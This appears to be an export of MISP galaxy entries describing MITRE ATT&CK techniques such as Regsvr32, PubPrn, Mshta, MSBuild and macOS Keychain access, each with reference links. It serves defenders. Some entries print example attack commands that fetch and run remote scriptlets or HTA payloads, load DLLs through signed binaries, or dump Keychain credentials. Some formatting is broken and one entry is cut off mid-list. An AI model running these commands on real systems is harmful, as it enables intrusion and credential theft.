Adversaries may abuse the `<code>Launchd</code>` daemon to perform task scheduling for initial or recurring execution of malicious code. The `<code>Launchd</code>` daemon, native to macOS, is responsible for loading and maintaining services within the operating system. This process loads the parameters for each launch-on-demand system-level daemon from the property list (plist) files found in `<code>/System/Library/LaunchDaemons</code>` and `<code>/Library/LaunchDaemons</code>` (Citation: AppleDocs Launch Agent Daemons). These LaunchDaemons have property list files which point to the executables that will be launched (Citation: Methods of Mac Malware Persistence).

An adversary may use the `<code>Launchd</code>` daemon in macOS environments to schedule new executables to run at system startup or on a scheduled basis for persistence. `<code>Launchd</code>`
can also be abused to run a process under the context of a specified account. Daemons, such as launchd, run with the permissions of the root user account, and will operate regardless of which user account is logged in.

The tag is: **misp-galaxy:mitre-attack-pattern="Launchd - T1053.004"**

**Table 5879. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1053/004">https://attack.mitre.org/techniques/T1053/004</a></td>
</tr>
</tbody>
</table>

**Python - T1059.006**

Adversaries may abuse Python commands and scripts for execution. Python is a very popular scripting/programming language, with capabilities to perform many functions. Python can be executed interactively from the command-line (via the python.exe interpreter) or via scripts (.py) that can be written and distributed to different systems. Python code can also be compiled into binary executables.

Python comes with many built-in packages to interact with the underlying system, such as file operations and device I/O. Adversaries can use these libraries to download and execute commands or other scripts as well as perform various malicious behaviors.

The tag is: **misp-galaxy:mitre-attack-pattern="Python - T1059.006"**

**Table 5880. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1059/006">https://attack.mitre.org/techniques/T1059/006</a></td>
</tr>
</tbody>
</table>

**JavaScript - T1059.007**

Adversaries may abuse various implementations of JavaScript for execution. JavaScript (JS) is a platform-independent scripting language (compiled just-in-time at runtime) commonly associated with scripts in webpages, though JS can be executed in runtime environments outside the browser.(Citation: NodeJS)

JScript is the Microsoft implementation of the same scripting standard. JScript is interpreted via the Windows Script engine and thus integrated with many components of Windows such as the [Component Object Model](https://attack.mitre.org/techniques/T1559/001) and Internet Explorer HTML Application (HTA) pages.(Citation: JScript May 2018)(Citation: Microsoft JScript 2007)(Citation: Microsoft Windows Scripts)

JavaScript for Automation (JXA) is a macOS scripting language based on JavaScript, included as part of Apple’s Open Scripting Architecture (OSA), that was introduced in OSX 10.10. Apple’s OSA
provides scripting capabilities to control applications, interface with the operating system, and bridge access into the rest of Apple’s internal APIs. As of OSX 10.10, OSA only supports two languages, JXA and [AppleScript](https://attack.mitre.org/techniques/T1059/002). Scripts can be executed via the command line utility `<code>osascript</code>`, they can be compiled into applications or script files via `<code>osacompile</code>`, and they can be compiled and executed in memory of other programs by leveraging the OSAKit Framework.(Citation: Apple About Mac Scripting 2016)(Citation: SpecterOps JXA 2020)(Citation: SentinelOne macOS Red Team)(Citation: Red Canary Silver Sparrow Feb2021)(Citation: MDSec macOS JXA and VSCode)

Adversaries may abuse various implementations of JavaScript to execute various behaviors. Common uses include hosting malicious scripts on websites as part of a [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) or downloading and executing these script files as secondary payloads. Since these payloads are text-based, it is also very common for adversaries to obfuscate their content as part of [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027).

The tag is: *misp-galaxy:mitre-attack-pattern="JavaScript - T1059.007"*

### Table 5881. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1059/007">https://attack.mitre.org/techniques/T1059/007</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/archive/blogs/gauravseth/the-world-of-jscript-javascript-ecmascript">https://docs.microsoft.com/archive/blogs/gauravseth/the-world-of-jscript-javascript-ecmascript</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com">https://docs.microsoft.com</a> scripting/winscript/windows-script-interfaces</td>
<td></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/windows/win32/com/">https://docs.microsoft.com/windows/win32/com/</a> translating-to-jscript</td>
<td></td>
</tr>
<tr>
<td><a href="https://nodejs.org/">https://nodejs.org/</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://posts.specterops.io/persistent-jxa-66e1c3cd1cf5">https://posts.specterops.io/persistent-jxa-66e1c3cd1cf5</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://redcanary.com/blog/clipping-silver-sparrows-wings/">https://redcanary.com/blog/clipping-silver-sparrows-wings/</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://www.mdsec.co.uk/">https://www.mdsec.co.uk/</a> 2021/01/macOS-post-exploitation-shenanigans-with-vscode-extensions/</td>
<td></td>
</tr>
<tr>
<td><a href="https://www.sentinelone.com/blog/macOS-red-team-calling-apple-apis-without-building-binaries/">https://www.sentinelone.com/blog/macOS-red-team-calling-apple-apis-without-building-binaries/</a></td>
<td></td>
</tr>
</tbody>
</table>

### Regsvr32 - T1218.010

Adversaries may abuse Regsvr32.exe to proxy execution of malicious code. Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. The Regsvr32.exe binary may also be signed by Microsoft. (Citation: Microsoft Regsvr32)

Malicious usage of Regsvr32.exe may avoid triggering security tools that may not monitor execution of, and modules loaded by, the regsvr32.exe process because of allowlists or false positives from Windows using regsvr32.exe for normal operations. Regsvr32.exe can also be used to specifically bypass application control using functionality to load COM scriptlets to execute DLLs under user permissions. Since Regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a
uniform resource locator (URL) to file on an external Web server as an argument during invocation. This method makes no changes to the Registry as the COM object is not actually registered, only executed. (Citation: LOLBAS Regsvr32) This variation of the technique is often referred to as a "Squiblydoo" and has been used in campaigns targeting governments. (Citation: Carbon Black Squiblydoo Apr 2016) (Citation: FireEye Regsvr32 Targeting Mongolian Gov)

Regsvr32.exe can also be leveraged to register a COM Object used to establish persistence via [Component Object Model Hijacking](https://attack.mitre.org/techniques/T1546/015). (Citation: Carbon Black Squiblydoo Apr 2016)

The tag is: **misp-galaxy:mitre-attack-pattern="Regsvr32 - T1218.010"**

### Table 5882. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1218/010">https://attack.mitre.org/techniques/T1218/010</a></td>
</tr>
<tr>
<td><a href="https://lolbas-project.github.io/lolbas/Binaries/Regsvr32/">https://lolbas-project.github.io/lolbas/Binaries/Regsvr32/</a></td>
</tr>
<tr>
<td><a href="https://support.microsoft.com/en-us/kb/249873">https://support.microsoft.com/en-us/kb/249873</a></td>
</tr>
<tr>
<td><a href="https://www.fireeye.com/blog/threat-research/2017/02/spear_phishing_techn.html">https://www.fireeye.com/blog/threat-research/2017/02/spear_phishing_techn.html</a></td>
</tr>
</tbody>
</table>

**Confluence - T1213.001**

Adversaries may leverage Confluence repositories to mine valuable information. Often found in development environments alongside Atlassian JIRA, Confluence is generally used to store development-related documentation, however, in general may contain more diverse categories of useful information, such as:

- Policies, procedures, and standards
- Physical / logical network diagrams
- System architecture diagrams
- Technical system documentation
- Testing / development credentials
- Work / project schedules
- Source code snippets
- Links to network shares and other internal resources

The tag is: **misp-galaxy:mitre-attack-pattern="Confluence - T1213.001"**

### Table 5883. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1213/001">https://attack.mitre.org/techniques/T1213/001</a></td>
</tr>
</tbody>
</table>
**PubPrn - T1216.001**

Adversaries may use PubPrn to proxy execution of malicious remote files. PubPrn.vbs is a [Visual Basic](https://attack.mitre.org/techniques/T1059/005) script that publishes a printer to Active Directory Domain Services. The script may be signed by Microsoft and is commonly executed through the [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003) via `<code>Cscript.exe</code>`. For example, the following code publishes a printer within the specified domain: `<code>cscript pubprn Printer1 LDAP://CN=Container1,DC=Domain1,DC=Com</code>.(Citation: pubprn)

Adversaries may abuse PubPrn to execute malicious payloads hosted on remote sites.(Citation: Enigma0x3 PubPrn Bypass) To do so, adversaries may set the second `<code>script:</code>` parameter to reference a scriptlet file (.sct) hosted on a remote site. An example command is `<code>pubprn.vbs 127.0.0.1 script:https://mydomain.com/folder/file.sct</code>`. This behavior may bypass signature validation restrictions and application control solutions that do not account for abuse of this script.

In later versions of Windows (10+), `<code>PubPrn.vbs</code>` has been updated to prevent proxying execution from a remote site. This is done by limiting the protocol specified in the second parameter to `<code>LDAP://</code>`, vice the `<code>script:</code>` moniker which could be used to reference remote code via HTTP(S).

The tag is: `misp-galaxy:mitre-attack-pattern="PubPrn - T1216.001"`

**Table 5884. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1216/001">https://attack.mitre.org/techniques/T1216/001</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/pubprn">https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/pubprn</a></td>
</tr>
<tr>
<td><a href="https://enigma0x3.net/2017/08/03/wsh-injection-a-case-study/">https://enigma0x3.net/2017/08/03/wsh-injection-a-case-study/</a></td>
</tr>
</tbody>
</table>

**MSBuild - T1127.001**

Adversaries may use MSBuild to proxy execution of code through a trusted Windows utility. MSBuild.exe (Microsoft Build Engine) is a software build platform used by Visual Studio. It handles XML formatted project files that define requirements for loading and building various platforms and configurations.(Citation: MSDN MSBuild)

Adversaries can abuse MSBuild to proxy execution of malicious code. The inline task capability of MSBuild that was introduced in .NET version 4 allows for C# or Visual Basic code to be inserted into an XML project file.(Citation: MSDN MSBuild)(Citation: Microsoft MSBuild Inline Tasks 2017) MSBuild will compile and execute the inline task. MSBuild.exe is a signed Microsoft binary, so when it is used this way it can execute arbitrary code and bypass application control defenses that are configured to allow MSBuild.exe execution.(Citation: LOLBAS Msbuild)
Table 5885. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1127/001">https://attack.mitre.org/techniques/T1127/001</a></td>
</tr>
<tr>
<td><a href="https://lolbas-project.github.io/lolbas/Binaries/Msbuild/">https://lolbas-project.github.io/lolbas/Binaries/Msbuild/</a></td>
</tr>
<tr>
<td><a href="https://msdn.microsoft.com/library/dd393574.aspx">https://msdn.microsoft.com/library/dd393574.aspx</a></td>
</tr>
</tbody>
</table>

Keylogging - T1417.001

Adversaries may log user keystrokes to intercept credentials or other information from the user as the user types them.

Some methods of keylogging include:

- Masquerading as a legitimate third-party keyboard to record user keystrokes. (Citation: Zeltser-Keyboards) On both Android and iOS, users must explicitly authorize the use of third-party keyboard apps. Users should be advised to use extreme caution before granting this authorization when it is requested.

- Abusing accessibility features. On Android, adversaries may abuse accessibility features to record keystrokes by registering an AccessibilityService class, overriding the onAccessibilityEvent method, and listening for the AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED event type. The event object passed into the function will contain the data that the user typed.

*Additional methods of keylogging may be possible if root access is available.

The tag is: misp-galaxy:mitre-attack-pattern="Keylogging - T1417.001"

Table 5886. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1417/001">https://attack.mitre.org/techniques/T1417/001</a></td>
</tr>
<tr>
<td><a href="https://zeltser.com/third-party-keyboards-security/">https://zeltser.com/third-party-keyboards-security/</a></td>
</tr>
</tbody>
</table>

Sharepoint - T1213.002

Adversaries may leverage the SharePoint repository as a source to mine valuable information. SharePoint will often contain useful information for an adversary to learn about the structure and functionality of the internal network and systems. For example, the following is a list of example information that may hold potential value to an adversary and may also be found on SharePoint:

- Policies, procedures, and standards
- Physical / logical network diagrams
CMSTP - T1218.003

Adversaries may abuse CMSTP to proxy execution of malicious code. The Microsoft Connection Manager Profile Installer (CMSTP.exe) is a command-line program used to install Connection Manager service profiles. (Citation: Microsoft Connection Manager Oct 2009) CMSTP.exe accepts an installation information file (INF) as a parameter and installs a service profile leveraged for remote access connections.

Adversaries may supply CMSTP.exe with INF files infected with malicious commands. (Citation: Twitter CMSTP Usage Jan 2018) Similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010) / "Squiblydoo", CMSTP.exe may be abused to load and execute DLLs (Citation: MSitPros CMSTP Aug 2017) and/or COM scriptlets (SCT) from remote servers. (Citation: Twitter CMSTP Jan 2018) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018) This execution may also bypass AppLocker and other application control defenses since CMSTP.exe is a legitimate binary that may be signed by Microsoft.

CMSTP.exe can also be abused to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002) and execute arbitrary commands from a malicious INF through an auto-elevated COM interface. (Citation: MSitPros CMSTP Aug 2017) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018)

The tag is: `misp-galaxy:mitre-attack-pattern="CMSTP - T1218.003"`
InstallUtil - T1218.004

Adversaries may use InstallUtil to proxy execution of code through a trusted Windows utility. InstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries. (Citation: MSDN InstallUtil) The InstallUtil binary may also be digitally signed by Microsoft and located in the .NET directories on a Windows system: `<code>C:\Windows\Microsoft.NET\Framework\v<version>\InstallUtil.exe</code>` and `<code>C:\Windows\Microsoft.NET\Framework64\v<version>\InstallUtil.exe</code>`.

InstallUtil may also be used to bypass application control through use of attributes within the binary that execute the class decorated with the attribute `<code>[System.ComponentModel.RunInstaller(true)]</code>`. (Citation: LOLBAS Installutil)

The tag is: `misp-galaxy:mitre-attack-pattern="InstallUtil - T1218.004"`

Table 5889. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1218/004">https://attack.mitre.org/techniques/T1218/004</a></td>
</tr>
<tr>
<td><a href="https://lolbas-project.github.io/lolbas/Binaries/Installutil/">https://lolbas-project.github.io/lolbas/Binaries/Installutil/</a></td>
</tr>
</tbody>
</table>

Mshta - T1218.005

Adversaries may abuse mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code (Citation: Cylance Dust Storm) (Citation: Red Canary HTA Abuse Part Deux) (Citation: FireEye Attacks Leveraging HTA) (Citation: Airbus Security Kovter Analysis) (Citation: FireEye FIN7 April 2017)

Mshta.exe is a utility that executes Microsoft HTML Applications (HTA) files. (Citation: Wikipedia HTML Application) HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser. (Citation: MSDN HTML Applications)

Files may be executed by mshta.exe through an inline script: `<code>mshta vbscript:Close(Execute("GetObject('"script:https://webserver/payload.jsct'"'))</code>`

They may also be executed directly from URLs: `<code>mshta http://webserver/payload[,].hta</code>`
Mshta.exe can be used to bypass application control solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings. (Citation: LOLBAS Mshta)

The tag is: misp-galaxy:mitre-attack-pattern="Mshta - T1218.005"

### Table 5890. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1218/005">https://attack.mitre.org/techniques/T1218/005</a></td>
</tr>
<tr>
<td><a href="https://en.wikipedia.org/wiki/HTML_Application">https://en.wikipedia.org/wiki/HTML_Application</a></td>
</tr>
<tr>
<td><a href="https://lolbas-project.github.io/lolbas/Binaries/Mshta/">https://lolbas-project.github.io/lolbas/Binaries/Mshta/</a></td>
</tr>
<tr>
<td><a href="https://msdn.microsoft.com/library/ms536471.aspx">https://msdn.microsoft.com/library/ms536471.aspx</a></td>
</tr>
<tr>
<td><a href="https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html">https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html</a></td>
</tr>
</tbody>
</table>

### Hardware - T1592.001

Adversaries may gather information about the victim's host hardware that can be used during targeting. Information about hardware infrastructure may include a variety of details such as types and versions on specific hosts, as well as the presence of additional components that might be indicative of added defensive protections (ex: card/biometric readers, dedicated encryption hardware, etc.).

Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) (ex: hostnames, server banners, user agent strings) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors. (Citation: ATT ScanBox) Information about the hardware infrastructure may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Compromise Hardware Supply Chain](https://attack.mitre.org/techniques/T1195/003) or [Hardware Additions](https://attack.mitre.org/techniques/T1200)).

The tag is: misp-galaxy:mitre-attack-pattern="Hardware - T1592.001"

### Table 5891. Table References
Geofencing - T1627.001

Adversaries may use a device’s geographical location to limit certain malicious behaviors. For example, malware operators may limit the distribution of a second stage payload to certain geographic regions. (Citation: Lookout eSurv)

[Geofencing](https://attack.mitre.org/techniques/T1627/001) is accomplished by persuading the user to grant the application permission to access location services. The application can then collect, process, and exfiltrate the device’s location to perform location-based actions, such as ceasing malicious behavior or showing region-specific advertisements.

One method to accomplish [Geofencing](https://attack.mitre.org/techniques/T1627/001) on Android is to use the built-in Geofencing API to automatically trigger certain behaviors when the device enters or exits a specified radius around a geographical location. Similar to other [Geofencing](https://attack.mitre.org/techniques/T1627/001) methods, this requires that the user has granted the `ACCESS_FINE_LOCATION` and `ACCESS_BACKGROUND_LOCATION` permissions. The latter is only required if the application targets Android 10 (API level 29) or higher. However, Android 11 introduced additional permission controls that may restrict background location collection based on user permission choices at runtime. These additional controls include "Allow only while using the app", which will effectively prohibit background location collection.

Similarly, on iOS, developers can use built-in APIs to setup and execute geofencing. Depending on the use case, the app will either need to call `requestWhenInUseAuthorization()` or `requestAlwaysAuthorization()`, depending on when access to the location services is required. Similar to Android, users also have the option to limit when the application can access the device’s location, including one-time use and only when the application is running in the foreground.

[Geofencing](https://attack.mitre.org/techniques/T1627/001) can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. For example, location data could be used to limit malware spread and/or capabilities, which could also potentially evade application analysis environments (ex: malware analysis outside of the target geographic area). Other malicious usages could include showing language-specific input prompts and/or advertisements.

The tag is: `misp-galaxy:mitre-attack-pattern=“Geofencing - T1627.001”`

Table 5892. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1627/001">https://attack.mitre.org/techniques/T1627/001</a></td>
</tr>
<tr>
<td><a href="https://blog.lookout.com/esurv-research">https://blog.lookout.com/esurv-research</a></td>
</tr>
</tbody>
</table>
Msiexec - T1218.007

Adversaries may abuse msiexec.exe to proxy execution of malicious payloads. Msiexec.exe is the command-line utility for the Windows Installer and is thus commonly associated with executing installation packages (.msi). (Citation: Microsoft msiexec) The Msiexec.exe binary may also be digitally signed by Microsoft.

Adversaries may abuse msiexec.exe to launch local or network accessible MSI files. Msiexec.exe can also execute DLLs. (Citation: LOLBAS Msiexec) (Citation: TrendMicro Msiexec Feb 2018) Since it may be signed and native on Windows systems, msiexec.exe can be used to bypass application control solutions that do not account for its potential abuse. Msiexec.exe execution may also be elevated to SYSTEM privileges if the <code>AlwaysInstallElevated</code> policy is enabled. (Citation: Microsoft AlwaysInstallElevated 2018)

The tag is: misc-galaxy:mitre-attack-pattern="Msiexec - T1218.007"

Table 5893. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1218/007">https://attack.mitre.org/techniques/T1218/007</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/msiexec">https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/msiexec</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/en-us/windows/win32/msi/alwaysinstallelevated">https://docs.microsoft.com/en-us/windows/win32/msi/alwaysinstallelevated</a></td>
</tr>
<tr>
<td><a href="https://lolbas-project.github.io/lolbas/Binaries/Msiexec/">https://lolbas-project.github.io/lolbas/Binaries/Msiexec/</a></td>
</tr>
</tbody>
</table>

Odbcconf - T1218.008

Adversaries may abuse odbcconf.exe to proxy execution of malicious payloads. Odbcconf.exe is a Windows utility that allows you to configure Open Database Connectivity (ODBC) drivers and data source names. (Citation: Microsoft odbcconf.exe) The Odbcconf.exe binary may be digitally signed by Microsoft.

Adversaries may abuse odbcconf.exe to bypass application control solutions that do not account for its potential abuse. Similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010) class="bare">https://attack.mitre.org/techniques/T1218/010</a>, odbcconf.exe has a <code>REGSVR</code> flag that can be misused to execute DLLs (ex: <code>odbcconf.exe /S /A &lt;br&gt;REGSVR "C:\Users\Public\file.dll"&lt;/br&gt;). (Citation: LOLBAS Odbcconf) (Citation: TrendMicro Squiblydoo Aug 2017) (Citation: TrendMicro Cobalt Group Nov 2017)

The tag is: misc-galaxy:mitre-attack-pattern="Odbcconf - T1218.008"

Table 5894. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1218/008">https://attack.mitre.org/techniques/T1218/008</a></td>
</tr>
</tbody>
</table>
Keychain - T1634.001

Adversaries may collect keychain data from an iOS device to acquire credentials. Keychains are the built-in way for iOS to keep track of users’ passwords and credentials for many services and features such as Wi-Fi passwords, websites, secure notes, certificates, private keys, and VPN credentials.

On the device, the keychain database is stored outside of application sandboxes to prevent unauthorized access to the raw data. Standard iOS APIs allow applications access to their own keychain contained within the database. By utilizing a privilege escalation exploit or existing root access, adversaries can access the entire encrypted database. (Citation: Apple Keychain Services)(Citation: Elcomsoft Decrypt Keychain)

The tag is: *misp-galaxy:mitre-attack-pattern*="Keychain - T1634.001"

Table 5895. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1634/001">https://attack.mitre.org/techniques/T1634/001</a></td>
</tr>
</tbody>
</table>

Domains - T1583.001

Adversaries may acquire domains that can be used during targeting. Domain names are the human readable names used to represent one or more IP addresses. They can be purchased or, in some cases, acquired for free.

Adversaries may use acquired domains for a variety of purposes, including for [Phishing](https://attack.mitre.org/techniques/T1566), [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), and Command and Control.(Citation: CISA MSS Sep 2020) Adversaries may choose domains that are similar to legitimate domains, including through use of homoglyphs or use of a different top-level domain (TLD).(Citation: FireEye APT28)(Citation: PaypalScam) Typosquatting may be used to aid in delivery of payloads via [Drive-by Compromise](https://attack.mitre.org/techniques/T1189). Adversaries may also use internationalized domain names (IDNs) and different character sets (e.g. Cyrillic, Greek, etc.) to execute "IDN homograph attacks," creating visually similar lookalike domains used to deliver
malware to victim machines.(Citation: CISA IDN ST05-016)(Citation: tt_httrack_fake_domains)(Citation: tt_obliqueRAT)(Citation: httrack_unhcr)(Citation: lazgroup_idn_phishing)

Adversaries may also acquire and repurpose expired domains, which may be potentially already allowed/trusted by defenders based on an existing reputation/history.(Citation: Categorisation_not_boundary)(Citation: Domain_Steal_CC)(Citation: Redirectors_Domain_Fronting)(Citation: bypass_webproxy_filtering)

Domain registrars each maintain a publicly viewable database that displays contact information for every registered domain. Private WHOIS services display alternative information, such as their own company data, rather than the owner of the domain. Adversaries may use such private WHOIS services to obscure information about who owns a purchased domain. Adversaries may further interrupt efforts to track their infrastructure by using varied registration information and purchasing domains with different domain registrars.(Citation: Mandiant APT1)

The tag is: misp-galaxy:mitre-attack-pattern="Domains - T1583.001"

Table 5896. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1583/001">https://attack.mitre.org/techniques/T1583/001</a></td>
</tr>
<tr>
<td><a href="https://blog.talosintelligence.com/2021/05/transparent-tribe-infra-and-targeting.html">https://blog.talosintelligence.com/2021/05/transparent-tribe-infra-and-targeting.html</a></td>
</tr>
<tr>
<td><a href="https://blog.talosintelligence.com/2022/03/transparent-tribe-new-campaign.html">https://blog.talosintelligence.com/2022/03/transparent-tribe-new-campaign.html</a></td>
</tr>
<tr>
<td><a href="https://threatconnect.com/blog/infrastructure-research-hunting/">https://threatconnect.com/blog/infrastructure-research-hunting/</a></td>
</tr>
<tr>
<td><a href="https://us-cert.cisa.gov/ncas/alerts/aa20-258a">https://us-cert.cisa.gov/ncas/alerts/aa20-258a</a></td>
</tr>
<tr>
<td><a href="https://us-cert.cisa.gov/ncas/tips/ST05-016">https://us-cert.cisa.gov/ncas/tips/ST05-016</a></td>
</tr>
<tr>
<td><a href="https://www.blackhillsinfosec.com/bypass-web-proxy-filtering/">https://www.blackhillsinfosec.com/bypass-web-proxy-filtering/</a></td>
</tr>
<tr>
<td><a href="https://www.cobaltstrike.com/blog/high-reputation-redirectors-and-domain-fronting/">https://www.cobaltstrike.com/blog/high-reputation-redirectors-and-domain-fronting/</a></td>
</tr>
<tr>
<td><a href="https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf">https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf</a></td>
</tr>
<tr>
<td><a href="https://www.mdsec.co.uk/2017/07/categorisation-is-not-a-security-boundary/">https://www.mdsec.co.uk/2017/07/categorisation-is-not-a-security-boundary/</a></td>
</tr>
</tbody>
</table>
Domains - T1584.001

Adversaries may hijack domains and/or subdomains that can be used during targeting. Domain registration hijacking is the act of changing the registration of a domain name without the permission of the original registrant. Adversaries may gain access to an email account for the person listed as the owner of the domain. The adversary can then claim that they forgot their password in order to make changes to the domain registration. Other possibilities include social engineering a domain registration help desk to gain access to an account or taking advantage of renewal process gaps.

Subdomain hijacking can occur when organizations have DNS entries that point to non-existent or deprovisioned resources. In such cases, an adversary may take control of a subdomain to conduct operations with the benefit of the trust associated with that domain.

Adversaries who compromise a domain may also engage in domain shadowing by creating malicious subdomains under their control while keeping any existing DNS records. As service will not be disrupted, the malicious subdomains may go unnoticed for long periods of time.

The tag is: `misp-galaxy:mitre-attack-pattern="Domains - T1584.001"

Table 5897. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1584/001">https://attack.mitre.org/techniques/T1584/001</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/en-us/azure/security/fundamentals/subdomain-takeover">https://docs.microsoft.com/en-us/azure/security/fundamentals/subdomain-takeover</a></td>
</tr>
<tr>
<td><a href="https://krebsonsecurity.com/2019/02/a-deep-dive-on-the-recent-widespread-dns-hijacking-attacks/">https://krebsonsecurity.com/2019/02/a-deep-dive-on-the-recent-widespread-dns-hijacking-attacks/</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/domain-shadowing/">https://unit42.paloaltonetworks.com/domain-shadowing/</a></td>
</tr>
<tr>
<td><a href="https://www.icann.org/groups/ssac/documents/sac-007-en">https://www.icann.org/groups/ssac/documents/sac-007-en</a></td>
</tr>
</tbody>
</table>

Keychain - T1555.001

Adversaries may acquire credentials from Keychain. Keychain (or Keychain Services) is the macOS credential management system that stores account names, passwords, private keys, certificates, sensitive application data, payment data, and secure notes. There are three types of Keychains: Login Keychain, System Keychain, and Local Items (iCloud) Keychain. The default Keychain is the Login Keychain, which stores user passwords and information. The System Keychain stores items accessed by the operating system, such as items shared among users on a host. The Local Items (iCloud) Keychain is used for items synced with Apple's iCloud service.

Keychains can be viewed and edited through the Keychain Access application or using the command-line utility `security`. Keychain files are located in `<code>~/Library/Keychains</code>`, `<code>/Library/Keychains</code>`, and `<code>/Network/Library/Keychains</code>`.

(Citation: Keychain Services Apple)(Citation: Keychain Decryption Passware)(Citation: OSX Keychain Schaumann)
Adversaries may gather user credentials from Keychain storage/memory. For example, the command `security dump-keychain -d` will dump all Login Keychain credentials from `~/Library/Keychains/login.keychain-db`. Adversaries may also directly read Login Keychain credentials from the `~/Library/Keychains/login.keychain` file. Both methods require a password, where the default password for the Login Keychain is the current user’s password to login to the macOS host.(Citation: External to DA, the OS X Way)(Citation: Empire Keychain Decrypt)

The tag is: `misp-galaxy:mitre-attack-pattern="Keychain - T1555.001"

**Table 5898. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way">http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1555/001">https://attack.mitre.org/techniques/T1555/001</a></td>
</tr>
<tr>
<td><a href="https://github.com/EmpireProject/Empire/blob/08cbd274bef78243d7a8ed6443b8364acd1fc48b/lib/modules/python/collection/osx/keychaindump_decrypt.py">https://github.com/EmpireProject/Empire/blob/08cbd274bef78243d7a8ed6443b8364acd1fc48b/lib/modules/python/collection/osx/keychaindump_decrypt.py</a></td>
</tr>
<tr>
<td><a href="https://www.netmeister.org/blog/keychain-passwords.html">https://www.netmeister.org/blog/keychain-passwords.html</a></td>
